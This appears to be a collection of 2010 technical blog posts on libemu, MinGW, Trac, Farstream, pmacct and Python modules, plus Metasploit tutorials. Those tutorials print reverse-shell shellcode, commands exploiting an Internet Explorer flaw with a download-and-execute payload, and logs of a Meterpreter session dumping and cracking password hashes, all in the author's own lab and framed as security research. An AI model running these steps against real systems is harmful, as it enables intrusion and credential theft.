Now it's time to build python bindings (the configure is not complete, so some configuring must be done by hands):

$ ./configure –prefix=/opt/libemu/ –enable-python-bindings
$ cp bindings/python/setup.py bindings/python/setup.py.orig
$ sed -e 's/${prefix}/\/opt\/libemu/' bindings/python/setup.py > bindings/python/setup.py.tmp
$ sed -e 's/${exec_prefix}/\/opt\/libemu/' bindings/python/setup.py.tmp > bindings/python/setup.py
$ rm -f binfings/python/setup.py.tmp
$ make
$ sudo make install

That's all - Python binding is ready. Let's test sample string:


$ python
Python 2.6.6 (r266:84292, Sep 15 2010, 16:22:56)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import libemu
>>> emulator = libemu.Emulator()
>>> emulator.test("hello world!")
>>>

As you can see, for innocent string emulator test (emu_shellcode_test function in C) returns nothing.

Now let's take some real shellcode from Metasploit. It's pretty easy - some payloads in MSF are provided as shellcodes, so we have to only generate its source code:


msf > use windows/shell_reverse_tcp
msf payload(shell_reverse_tcp) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf payload(shell_reverse_tcp) > generate -t ruby
# windows/shell_reverse_tcp - 314 bytes
# http://www.metasploit.com
# LHOST=0.0.0.0, LPORT=4444, ReverseConnectRetries=5, 
# EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68" +
"\x00\x00\x00\x00\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56" +
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" +
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" +
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" +
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" +
"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" +
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" +
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" +
"\x6f\x6a\x00\x53\xff\xd5"

Unfortunately, MSF can't generate source code in Python, so we'll insert Ruby expression in round brackets:


>>> shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
... "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
... "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
... "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
... "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
... "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
... "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
... "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
... "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
... "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
... "\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
... "\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
... "\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
... "\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68" +
... "\x00\x00\x00\x00\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56" +
... "\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" +
... "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" +
... "\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" +
... "\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" +
... "\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" +
... "\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" +
... "\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" +
... "\x6f\x6a\x00\x53\xff\xd5")
>>> emulator.test(shellcode)
-4657153

The result is the offset within the buffer where the shellcode is suspected. See the emu_shellcode_test reference.

So, as you see, libemu is useful library, and should not be underestimated. Besides shellcode detection it can be used for various emulations, and it is extensively used in various security research project. Don't miss you chance, and use it too. Good luck!

Metasploit Browser Autopwn module

2010-10-16T00:12:00.000-07:00

In previous article I've shown the using of windows/browser/ms10_018_ie_behaviors exploit. In many cases trying exploits one by one is not acceptable, so the auxiliary modules have been created. One of these - server/browser_autopwn:

This module uses a combination of client-side and server-side techniques to fingerprint HTTP clients and then automatically exploit them.

After successful attack it creates Meterpreter session, so you can gain a full access to target. Meterpreter is a set of tools for interacting with processes, networking, and the file system of the target. In this article we will dump the SAM hash of the target system and decrypt it using ophcrack.

Let's go directly to the actions (set the LHOST parameter according to your environment):

$ msfconsole

                _                  _       _ _
               | |                | |     (_) |
_ __ ___   ___| |_ __ _ ___ _ __ | | ___ _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|

       =[ metasploit v3.5.0-dev [core:3.5 api:1.0]
+ -- --=[ 609 exploits - 306 auxiliary
+ -- --=[ 225 payloads - 27 encoders - 8 nops
       =[ svn r10702 updated today (2010.10.16)

msf > use server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 192.168.1.4
LHOST => 192.168.1.4
msf auxiliary(browser_autopwn) > exploit
[*] Auxiliary module execution completed
msf auxiliary(browser_autopwn) >

[*] Starting exploit modules on host 192.168.1.4...
[*] ---

[*] Starting exploit multi/browser/firefox_escape_retval with payload generic/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/BJgBiYk7u
[*] Local IP: http://192.168.1.4:8080/BJgBiYk7u
[*] Server started.
[*] Starting exploit multi/browser/java_calendar_deserialize with payload java/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/b4tlM3eiEU
[*] Local IP: http://192.168.1.4:8080/b4tlM3eiEU
[*] Server started.
[*] Starting exploit multi/browser/java_trusted_chain with payload java/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/kYOA4qdf
[*] Local IP: http://192.168.1.4:8080/kYOA4qdf
[*] Server started.
[*] Starting exploit multi/browser/mozilla_compareto with payload generic/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/9LcmpZH
[*] Local IP: http://192.168.1.4:8080/9LcmpZH
[*] Server started.
[*] Starting exploit multi/browser/mozilla_navigatorjava with payload generic/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/8MdK9BAs4
[*] Local IP: http://192.168.1.4:8080/8MdK9BAs4
[*] Server started.
[*] Starting exploit multi/browser/opera_configoverwrite with payload generic/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/pe0Vuj45dvPe
[*] Local IP: http://192.168.1.4:8080/pe0Vuj45dvPe
[*] Server started.
[*] Starting exploit multi/browser/opera_historysearch with payload generic/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/revy5q9w8w5N
[*] Local IP: http://192.168.1.4:8080/revy5q9w8w5N
[*] Server started.
[*] Starting exploit osx/browser/safari_metadata_archive with payload generic/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/DUTrhcqFOO6xs
[*] Local IP: http://192.168.1.4:8080/DUTrhcqFOO6xs
[*] Server started.
[*] Starting exploit windows/browser/apple_quicktime_marshaled_punk with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/5XVCWnoMqacO
[*] Local IP: http://192.168.1.4:8080/5XVCWnoMqacO
[*] Server started.
[*] Starting exploit windows/browser/apple_quicktime_rtsp with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/EhHMxWs57
[*] Local IP: http://192.168.1.4:8080/EhHMxWs57
[*] Server started.
[*] Starting exploit windows/browser/apple_quicktime_smil_debug with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/UUCTPw
[*] Local IP: http://192.168.1.4:8080/UUCTPw
[*] Server started.
[*] Starting exploit windows/browser/ie_createobject with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/g4qC3ja86wRx
[*] Local IP: http://192.168.1.4:8080/g4qC3ja86wRx
[*] Server started.
[*] Starting exploit windows/browser/ms03_020_ie_objecttype with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/B3ubMz5o
[*] Local IP: http://192.168.1.4:8080/B3ubMz5o
[*] Server started.
[*] Starting exploit windows/browser/ms10_018_ie_behaviors with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/VkEV5COr
[*] Local IP: http://192.168.1.4:8080/VkEV5COr
[*] Server started.
[*] Starting exploit windows/browser/winzip_fileview with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/gexr41obZOSD
[*] Local IP: http://192.168.1.4:8080/gexr41obZOSD
[*] Server started.
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] Started reverse handler on 192.168.1.4:3333
[*] Starting the payload handler...
[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse handler on 192.168.1.4:6666
[*] Starting the payload handler...
[*] Started reverse handler on 192.168.1.4:7777
[*] Starting the payload handler...

[*] --- Done, found 15 exploit modules

[*] Using URL: http://0.0.0.0:8080/yaVpbn
[*] Local IP: http://192.168.1.4:8080/yaVpbn
[*] Server started.

Now the open the server URL (in my case http://192.168.1.4:8080/yaVpbn) on the target system. If it is possible, exploitation will take place, and the browser will freeze. But on your side you'll have a full access via meterpreter:

[*] Request '/yaVpbn' from 192.168.1.4:60674
[*] Request '/yaVpbn?sessid=V2luZG93czpYUDpTUDM6ZW4tdXM6eDg2Ok1TSUU6Ny4wOg%3d%3d' from 192.168.1.4:60674
[*] JavaScript Report: Windows:XP:SP3:en-us:x86:MSIE:7.0:
[*] Responding with exploits
[*] Handling request from 192.168.1.4:60676...
[*] Payload will be a Java reverse shell to 192.168.1.4:7777 from 192.168.1.4...
[*] Generated jar to drop (4447 bytes).
[*] Handling request from 192.168.1.4:60677...
[*] Sending Internet Explorer DHTML Behaviors Use After Free to 192.168.1.4:60676 (target: IE 7.0 (marquee))...
[*] Sending stage (749056 bytes) to 192.168.1.4
[*] Meterpreter session 1 opened (192.168.1.4:3333 -> 192.168.1.4:36137) at 2010-10-16 17:55:58 +1100
[*] Session ID 1 (192.168.1.4:3333 -> 192.168.1.4:36137) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1100)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 252
[*] New server process: notepad.exe (252)

As you can see the browser_autopwn module have selected the same exploit we have used in the previous article (Internet Explorer DHTML Behaviors Use After Free). Let's take a look which session are available:

msf auxiliary(browser_autopwn) > sessions -l

Active sessions
===============

  Id  Type                   Information                       Connection
  --  ----                   -----------                       ----------
  1   meterpreter x86/win32  OFF-VULN\test @ OFF-VULN (ADMIN)  192.168.1.4:3333 -> 192.168.1.4:36137

So, we're in. Let's dump the SAM hashes:

msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > hashdump
adm1n:1004:943822724a4e343daad3b435b51404ee:66c94dd046a6a5a48cf6cb8fb97b9ca9:::
HelpAssistant:1000:e315de19e2ecfd09ac944a7c45ee7894:db21e5566c18ac367534aea644650433:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:46cc7949aa9d8c0280b72b7b6623a9c4:::
test:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
��:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
��:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Let's decrypt the password of the user "adm1n". Open ophcrack, and select "Load"->"Single hash":

Insert the hash from the data we've received and click OK. Now the hash is ready to be decrypted, so don't waste time and click "Crack". The results:

It looks like our adm1n is pretty self-assured. I won't be in his place, and at least update the system.

Meterpreter have many other useful commands and can even be programmed via scripts. It's a powerful tool and don't forget about it during security research. Good luck!

Brief introduction to Metasploit

2010-10-15T22:54:00.001-07:00

As a part of increasing IT-infrastructure security, penetration testing is one of the most valuable tools. Of course, system updates, using firewalls, IDS/IPS, right ACL and other methods are very efficient, but you can't be 100% assured that everything is fine. Security is a battle between defenders and attackers, and usually attackers are one step ahead in this battle.

To be a good security professional, you have to know how attackers work, which tools and methods they are using, you have to be an attacker (of course, white-hat) - embrace Dark Side, but not be dominated by it and stay with Light Side.

So, the Metasploit is one of must-be-known tool for every security professional:

Metasploit provides useful information and tools for penetration testers, security researchers, and IDS signature developers. This project was created to provide information on exploit techniques and to create a functional knowledgebase for exploit developers and security professionals. The tools and information are provided for legal security research and testing purposes only.

There are many information about Metasploit in the Internet, and I strongly recommend to read Metasploit Unleashed. Here I only want to briefly show its usage.

Download the Metasploit Framework: http://www.metasploit.com/framework/download/

No additional packages are required. Ruby and RoR are included in the installer.

The main tool which you will use - the console: msfconsole. Please notice that if you've selected autoupdate from SVN, the console launch time can be pretty long (autoupdate runs during starting up the console).

The main principle of Metasploit usage:

select exploit which will be used to breach the system;
select payload which will be executed after the breaking in;
set up the additional parameters if needed and exploit the target.

Exploitation can be direct (e.g., using SMB vulnerability and attacking system via network) and indirect (e.g., Metasploit generates the "site" and show you a link, after that you have to somehow bring target to open the link). Direct exploitations are widely discussed in the Internet, and I'll show the indirect exploitation.

We will use windows/browser/ms10_018_ie_behaviors exploit and windows/download_exec payload. Before that, please make ready the Windows executable and upload it to the webserver. I would like to recommend to make executable via cross-compilation and use SimpleHTTPServer for distributing it.

Example executable source code:

#include <windows.h>
INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                   LPSTR lpCmdLine, int nCmdShow)
{
  MessageBoxW(0, L"You're pwned!\n", L"MinGW app", MB_ICONEXCLAMATION);

  return 0;
}

Compile it and start a web server:

$ i586-mingw32msvc-cc msgbox.c -o msgbox.exe -Wl,-subsystem,windows
$ python -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...

Now it's time to start msfconsole:

$ msfconsole 

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ metasploit v3.5.0-dev [core:3.5 api:1.0]
+ -- --=[ 609 exploits - 306 auxiliary
+ -- --=[ 225 payloads - 27 encoders - 8 nops
       =[ svn r10702 updated today (2010.10.16)

msf >

You've got a MSF prompt. Let's get information about the required exploit and payload:

msf > info windows/browser/ms10_018_ie_behaviors

       Name: Internet Explorer DHTML Behaviors Use After Free
    Version: 9787
   Platform: Windows
Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good

Provided by:
unknown
Trancer <mtrancer@gmail.com>
Nanika
jduck <jduck@metasploit.com>

Available targets:
Id Name
-- ----
0   (Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista
1   IE 6 SP0-SP2 (onclick)
2   IE 7.0 (marquee)

Basic options:
Name        Current Setting Required Description
----        --------------- -------- -----------
SRVHOST     0.0.0.0          yes       The local host to listen on.
SRVPORT     8080             yes       The local port to listen on.
SSL         false            no        Negotiate SSL for incoming connections
SSLVersion SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH                      no        The URI to use for this exploit (default is random)

Payload information:
Space: 1024
Avoid: 6 characters

Description:
This module exploits a use-after-free vulnerability within the DHTML
behaviors functionality of Microsoft Internet Explorer versions 6
and 7. This bug was discovered being used in-the-wild and was
previously known as the "iepeers" vulnerability. The name comes from
Microsoft's suggested workaround to block access to the iepeers.dll
file. According to Nico Waisman, "The bug itself is when trying to
persist an object using the setAttribute, which end up calling
VariantChangeTypeEx with both the source and the destination being
the same variant. So if you send as a variant an IDISPATCH the
algorithm will try to do a VariantClear of the destination before
using it. This will end up on a call to PlainRelease which deref the
reference and clean the object." NOTE: Internet Explorer 8 and
Internet Explorer 5 are not affected.

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0806
http://www.osvdb.org/62810
http://www.securityfocus.com/bid/38615
http://www.microsoft.com/technet/security/advisory/981374.mspx
http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/
http://eticanicomana.blogspot.com/2010/03/aleatory-persitent-threat.html
http://www.microsoft.com/technet/security/bulletin/MS10-018.mspx

msf > info windows/download_exec

       Name: Windows Executable Download and Execute
    Version: 9488
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 340
       Rank: Normal

Provided by:
  lion <lion@cnhonker.com>

  pita <pita@mail.com>


Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
URL                    yes       The pre-encoded URL to the executable

Description:
  Download an EXE from an HTTP URL and execute it

As you can see the exploit target are unpatched IE 6 and IE 7.

It's time to get some action:

msf > use windows/browser/ms10_018_ie_behaviors
msf exploit(ms10_018_ie_behaviors) > set payload windows/download_exec
payload => windows/download_exec
msf exploit(ms10_018_ie_behaviors) > set URL "http://192.168.1.4:8000/msgbox.exe"
URL => http://192.168.1.4:8000/msgbox.exe
msf exploit(ms10_018_ie_behaviors) > exploit 
[*] Exploit running as background job.

[*] Using URL: http://0.0.0.0:8080/minSVGSK
[*]  Local IP: http://192.168.1.4:8080/minSVGSK
[*] Server started.

Now let's open this URL in unpatched Windows XP. After some hidden actions the required application starts without any confirmations:

This is classical drive-by-download malware infection.

I hope that this article gives you the initial points to increase your knowledge in security. MSF is a great tool, and every security researcher have to know it. There are many topics hold undiscovered, but I'm sure that you can find all the required information in the Internet or by examining MSF source code. Good luck, and let the Force be with you!

Cross-compilation in Linux

2010-10-15T21:02:00.000-07:00

Sometimes it is necessary to create Windows application from Linux. I will briefly introduce the method for it in the article.

The basic principle is simple and common for all cross-compilations (e.g., creating Symbian applications in Linux/Windows or other desktop OS):

Get and install a toolchain for target platform (compiler, linker and other tools);
Compile all required frameworks using this toolchain (for example, GStreamer, Qt, wxWidgets etc)
Compile your own project with this toolchain and precompiled frameworks.

For creating Windows applications from Linux you can use MingWG: Minimalist GNU for Windows. The installation is pretty easy:

$ sudo apt-get install mingw32

As an example, let's compile a simple Windows application with a message box (msgbox.c file):

#include <windows.h>

INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
MessageBoxW(0, L"Hello from Linux!\n", L"MinGW app", MB_ICONEXCLAMATION);

return 0;
}

MingGW includes all headers and libraries to compile such kind of the applications. If you want to use something serious (like Qt-based applications), you have to precompile Qt from sources using MinGW.

Compilation is pretty easy too for that case:

$ i586-mingw32msvc-cc msgbox.c -o msgbox.exe -Wl,-subsystem,windows

MinGW contains two kind of compilers - for x86 and for x86_64 platforms, so use the required compiler. Additionally, we set up the subsystem flag (MinGW compile applications as console-based by default).

That's all. Upload the the output application to the Windows OS and enjoy.

CodeExample plugin for Trac version 1.0 has been released

2010-09-29T01:19:00.000-07:00

The CodeExample renders a code example box that supports syntax highlighting. It support three types of examples: simple, correct, and incorrect.

I've made the major changes to the plugin and now it is fully compatible with Trac 0.11 and Trac 0.12.

Changelog from version 0.3:

Support for multiply repositories (Trac 0.12 and upper) has been added.
Collapsing/expanding code blocks have been implemented.
Ability to change title has been added.
Options using has been reimplemented.

Two examples (the first gets source from repository, the second contains the code inside):

{{{

#!CodeExample

## type = good

## title = GPGData sample code

## repo = MacGPGME

## path=GPGData.m

## regex="static void releaseCallback\(.*"

## lines=4

#!objective-c

}}}

{{{

#!CodeExample

## type = bad

#!haskell

fibs = 0 : 1 : [ a + b | a <- fibs | b <- tail fibs ]

}}}

These will be rendered as:

See details on trac-hacks CodeExampleMacro page.

Using Farstream for videoconferencing

2010-09-20T19:09:00.003-07:00

I see a lot of comments about Gstreamer videoconferencing abilities, so I want to continue this topic and say a few words about the Farstream project.

Gstreamer is the one of Collabora's flagship projects. This company is developing other projects based on Gstreamer, and Farstream is exact project for audio and video conferencing. With Farstream, businesses can easily create a multi-platform, multi-user audio/video conference solution that supports a wide range of codecs. Simply put, Farstream (formerly Farsight) is an advanced VoIP/video streaming engine capable of dealing with all known audio/video conferencing protocols.

Quote from the project description:

Philippe Kalaf began the Farstream project in 2005. He was aiming to create a simple-to-use framework that implemented multiple audio/video streaming protocols.

Most of the initial work on Farstream focused on the protocol agnostic API and the RTP plugin. Over the years, the RTP plugin has matured into a very complete RTP stack included support for all advanced features such as multi-user conferencing, RTCP enabled lip-sync, on-the-fly codec switching and many others. The Farstream team then started working on integrating libnice's ICE stack which provides for near 95% NAT traversal capabilities. Alternatively, Farstream's RTP plugin can use raw UDP or multicast UDP as well as the Google and MSN flavors of ICE that are currently deployed.

See more on wiki.

Let's go straight to practice. Install the python-farsight package and clone the sources:

$ sudo apt-get install python-farsight

$ git clone git://git.collabora.co.uk/git/farsight2.git 

Go to farsight2/examples/gui and start fs2-gui.py:

$ cd farsight2/examples/gui

$ ./fs2-gui.py 

In this application you can start the server as well as the client instance:

As a parameter for the application you can pass a GStreamer source element like v4l2src. By default it uses test sources. The application is not so stable and smooth, but don't forget that it's an example.

Basically, it's all - see the sources as reference for using in your applications. The application in working mode looks like this one:

The Farstream library is licensed under LGPL 2.1 or later, so it can be used in commercial applications, but if you change its sources you have to contribute it back. Good luck!

Monitoring network bandwidth usage

2010-08-20T20:13:00.000-07:00

During the development of my monitoring tool, I've faced a little challenge - find a crossplatform (Linux/FreeBSD) way to monitor network bandwidth usage. Surprisingly, there is no simple way to do it. In this post I'll reveal my research and the solution I've found and implemented.

Linux

One of the ways to do it is using ifconfig output:

$ ifconfig eth0

eth0      Link encap:Ethernet  HWaddr 00:23:54:15:54:96 

          inet addr:192.168.1.4  Bcast:192.168.1.255  Mask:255.255.255.0

          inet6 addr: fe80::223:54ff:fe15:5496/64 Scope:Link

          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

          RX packets:23242 errors:0 dropped:0 overruns:0 frame:0

          TX packets:22369 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:1000 

          RX bytes:24061454 (24.0 MB)  TX bytes:3265008 (3.2 MB)

          Interrupt:30 Base address:0xe000

We can ask for RX (received) and TX (transmitted) bytes each second, and the differences give us the required speeds. This tool use /proc/net/dev data for showing the statistic.

FreeBSD

This OS have the standard tool - systat.

% systat -if 1

                    /0   /1   /2   /3   /4   /5   /6   /7   /8   /9   /10
     Load Average

      Interface           Traffic               Peak                Total
           age0 in      0,000 KB/s        107,444 KB/s            2,230 MB
                 out     0,000 KB/s         10,668 KB/s          372,108 KB

FreeBSD doesn't provide any analogue of /proc/net/dev data, and uses internal structures for gathering the statistic.

Universal way

But there is a way which works on all the platforms: libpcap. The Packet Capture library provides a high level interface to packet capture systems. All packets on the network, even those destined for other hosts, are accessible through this mechanism.

Unfortunately, direct use of libpcap requires root privileges, so some daemon/service have to be used for gathering the statistic. I've stopped on pmacct project, and will explain further how to set up and use it.

pmacct is a small set of passive network monitoring tools to measure, account, classify, aggregate and export IPv4 and IPv6 traffic; its main features are:

Runs on Linux, BSDs, Solaris and embedded systems
Support for both IPv4 and IPv6
Collects data through libpcap, Netlink/ULOG, NetFlow v1/v5/v7/v8/v9 and sFlow v2/v4/v5
Saves data to a number of backends including memory tables, MySQL, PostgreSQL and SQLite
Exports data to remote collectors through NetFlow v5/v9 and sFlow v5
Replicates incoming NetFlow and sFlow packets to remote collectors
Flexible architecture to tag, filter, redirect, aggregate and split captured data
Pluggable architecture for easy integration of new capturing environments and data backends
Careful SQL support: data pre-processing, triggers, dynamic table naming
It's free, open-source, developed and supported with passion and open mind

Pmacct installation

Ubuntu:

$ sudo apt-get install pmacct

FreeBSD:

$ cd /usr/ports/net-mgmt/pmacct

$ sudo make install clean

After the installation pmacctd daemon and pmacct client tool will be available.

Pmacctd daemon configuring

We have to configure two files - the daemon configuration file and networks file describing the networks which should be monitored.

Daemon configuration file (/etc/pmacct/pmacctd.conf in Ubuntu, /usr/local/etc/pmacct/pmacctd.conf in FreeBSD):

! pmacctd configuration

daemonize: true

pidfile: /var/run/pmacctd.pid

syslog: daemon

! on this interface (age0 or similar for FreeBSD)

interface: eth0

! interested in in and outbound traffic

networks_file: /usr/local/etc/networks.def

aggregate[in]: dst_net

aggregate[out]: src_net

! storage methods

plugin_buffer_size: 2048

plugin_pipe_size: 2048000

plugins: memory[in], memory[out]

imt_path[in]: /tmp/pmacct_in.pipe

imt_path[out]: /tmp/pmacct_out.pipe 

Here we set up to listen eth0 interface, aggregate all the network information, and store the information in the memory database. Pmacct client will connect the daemon via pipes declared by imt_path parameters.

Networks file (/usr/local/etc/networks.def):

192.168.1.0/24

My IP-address (192.168.1.X) is in this network, so I listen all the network.

Now you can test the configuration by starting the daemon with it:

$ pmacctd -f pmacctd.conf

If everything is fine, it will start without any complains. For debugging purposes, you can start it without daemonizing and with debug: true option.

Using the pmacct

For getting statistic use the pmacct client:

$ pmacct -s -p /tmp/pmacct_in.pipe
DST_IP PACKETS BYTES
:: 1 56
192.168.1.0 26707 24994698
0.0.0.0 22672 3691429

For a total of: 3 entries

Use the different pipes for getting inbound/outbound statistic. To get the bytes only use clarified requests like:

$ pmacct -N 192.168.1.0 -c dst_net -p /tmp/pmacct_in.pipe 

25308311

$ pmacct -N 192.168.1.0 -c src_net -p /tmp/pmacct_out.pipe

4368614

pmacct has a useful option "-r" (reset counters), so if you use it with this option every second you'll have network speed (bytes per second), as I do in my monitoring tool:

FreeBSD daemon

FreeBSD requires one more step - make pmacctd starting during the loading process. For this I've put the pmacctd shell script in the /etc/rc.d:

#!/bin/sh

# PROVIDE: pmacctd

# REQUIRE: DAEMON

# BEFORE:  LOGIN

# KEYWORD: nojail shutdown

. /etc/rc.subr

name="pmacctd"

rcvar=`set_rcvar`

command="/usr/local/sbin/${name}"

command_args="-f /usr/local/etc/pmacctd.conf"

pidfile="/var/run/${name}.pid"

load_rc_config $name

run_rc_command "$1"

And set up /etc/rc.conf to start the daemon during the system loading:

pmacctd_enable="YES"

That's all. Hope this help you in monitoring and auditing your systems.

Useful Python executable modules

2010-07-02T03:57:00.001-07:00

In the article "Using Python command line" I've described some executable modules and now want to give more details about the most interesting ones. I do not pretend to cover everything, just want to point out some directions where you can go if you find this useful.

SimpleHTTPServer

The executable module which I use if there is no possibility to send files from one computer to another by other methods (ssh, smb, ftp etc). It is not so fast, but can be very useful sometimes. The usage is very simple - just change directory to the required one, and start SimpleHTTPServer:

calendar

Very simple module - just shows the year calendar:

urllib

Very simple download manager. Useful if you want to download a file or a page via command line, but don't have wget utility (for example, in Windows). Now you don't even need to open IE for FF downloading:

$ python -m urllib "http://download.mozilla.org/?product=firefox-3.6.6&os=win&lang=en-US" > firefox_setup.exe

timeit

Tool for measuring execution time of small code snippets. For example, let's measure classical list comprehension example:

$ python -m timeit "l = []" "for i in range(1000):l.append(i ** 2)"

1000 loops, best of 3: 243 usec per loop

$ python -m timeit "[i ** 2 for i in range(1000)]"

